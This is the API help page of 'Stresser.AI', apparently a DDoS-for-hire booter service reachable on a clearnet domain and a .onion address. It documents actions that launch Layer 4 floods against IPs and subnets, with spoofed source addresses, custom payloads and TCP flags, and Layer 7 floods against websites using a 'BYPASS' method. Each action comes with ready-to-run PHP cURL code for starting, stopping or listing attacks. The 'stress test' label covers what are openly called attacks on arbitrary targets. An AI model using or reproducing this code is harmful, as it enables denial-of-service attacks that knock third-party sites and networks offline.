Apihelp

API

Stresser.AI API Introduction

Stresser.AI API can be accessed through the following domains:
https://stresser.ai/api/api.php
http://ecwvi3cd6h27r2kjx6ur6gdi4udrh66omvqeawp3dzqrtfwo432s7myd.onion/api/api.php

All requests are HTTPs GET, our API responds with JSON response containing a success boolean and other data regarding the request. To use our API, your plan must have API enabled before ordering. If you already have a plan and want to upgrade to API please contact support.



API Inititation

Set Key and Action

key=[KEY]&action=[ACTION]

The first step to using our API is inputting your private API key and the desired action.

Parameter Type Description Values Required
action
String API action to be executed layer4, layer7, stop, stopall, running
key
String Private Key used to authenticate the API See Account page

Example URL:



API Actions

Launch Layer 4 Attack

action=layer4

This action launches a Layer 4 attack, which targets IPv4 or CIDR addresses, a unique ID is given back in the API response for the attack to be stopped later if desired.

Parameter Type Description Example Required
host
String The target IPs/Subnets to be stress tested (Multiple supported: Separate by comma) 0.0.0.0, 0.0.0.0/24
port
Int The target Port to be stress tested, set port to 0 for randomized ports 3074, 0
time
Int Time the stress test will be executed for in seconds 120
method
String Method used to stress test the target (See Methods) DNS
power
Int Power percentage to be used in the stress test (from 0.01-100) 99.5
srchost
String Source ISP/IPs/Subnets of the stress test, can be IPv4 or CIDR (Multiple supported: Separate by comma) 0.0.0.0, 0.0.0.0/24, Valve
srcport
Int Source Port of the stress test, set source port to 0 for randomized ports 80, 0
payload
String Hexadecimal string of payload to be sent in the stress test 0102030405FF
tcp_flags
String TCP flags to be sent separated by comma syn,ack
locale
String Locales of IPs to use seperated by comma (Can use multiple combinations of different country codes/regions) all,asia,europe,cn,us

Example URL:

Example JSON Response:


PHP cURL code:
<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=layer4&host=0.0.0.0&port=80&time=120&method=DNS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
    die("Success: {$json->status}, {$json->body}, Attack ID: {$json->attack_id}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>

Launch Layer 7 Attack

action=layer7

This action launches a Layer 7 attack, which targets URLs (websites), a unique ID is given back in the API response for the attack to be stopped later if desired.

Parameter Type Description Example Required
host
String The target URL to be stress tested https://website.com, http://website.com
port
Int The target Port to be stress tested 80, 443
time
Int Time the stress test will be executed for in seconds 120
method
String Method used to stress test the target (See Methods) BYPASS
postdata
String Optional Post Data to be sent, sending no post data assumes it is GET user=wilson&password=wilson1

Example URL:

Example JSON Response:


PHP cURL code:
<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=layer7&host=https://website.com&port=443&time=120&method=BYPASS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
    die("Success: {$json->status}, {$json->body}, Attack ID: {$json->attack_id}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>

Stop Attack (Without ID)

action=stop

This action stops a stress test by using host, port, time and method. These parameter values must be the same values as when the attack was launched. It is advised you stop floods using an ID (see below) instead of this method.

Parameter Type Description Example Required
host
String Host to be stopped https://website.com, 0.0.0.0
port
Int Port to be stopped 80, 443
time
Int Time to be stopped 120
method
String Method to be stopped BYPASS

Example URL:

Example JSON Response:


PHP cURL code:

<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=stop&host=https://website.com&port=443&time=120&method=BYPAS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
    die("Success: {$json->status}, {$json->body}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>


Stop Attack (With ID)

action=stop

This action stops a stress test by using a unique ID, the unique ID is given in the API response after a successful stress test was sent.

Parameter Type Description Example Required
id
String Unique ID of the stress test to be stopped, this ID is given in the API response once a successful stress test has been launched 12345

Example URL:

Example JSON Response:


PHP cURL code:
<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=stop&id=66476a6b6b474d4272734b424d415543");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
    die("Success: {$json->status}, {$json->body}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>

Stop All Attacks

action=stopall

This action stops all running stress tests, if any.


Example URL:

Example JSON Response:


PHP cURL code:
<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=stopall");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
    die("Success: {$json->status}, {$json->body}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>

Get Running Attacks

action=running

This action lists all running stress tests with there IDs and other attack information.


Example URL:

Example JSON Response:


PHP cURL code:
<?php
$ch = curl_init("https://stresser.ai/api/api.php?key=[KEY]&action=running");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
    die("Success: {$json->status}, {$json->body}");
} else {
    die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>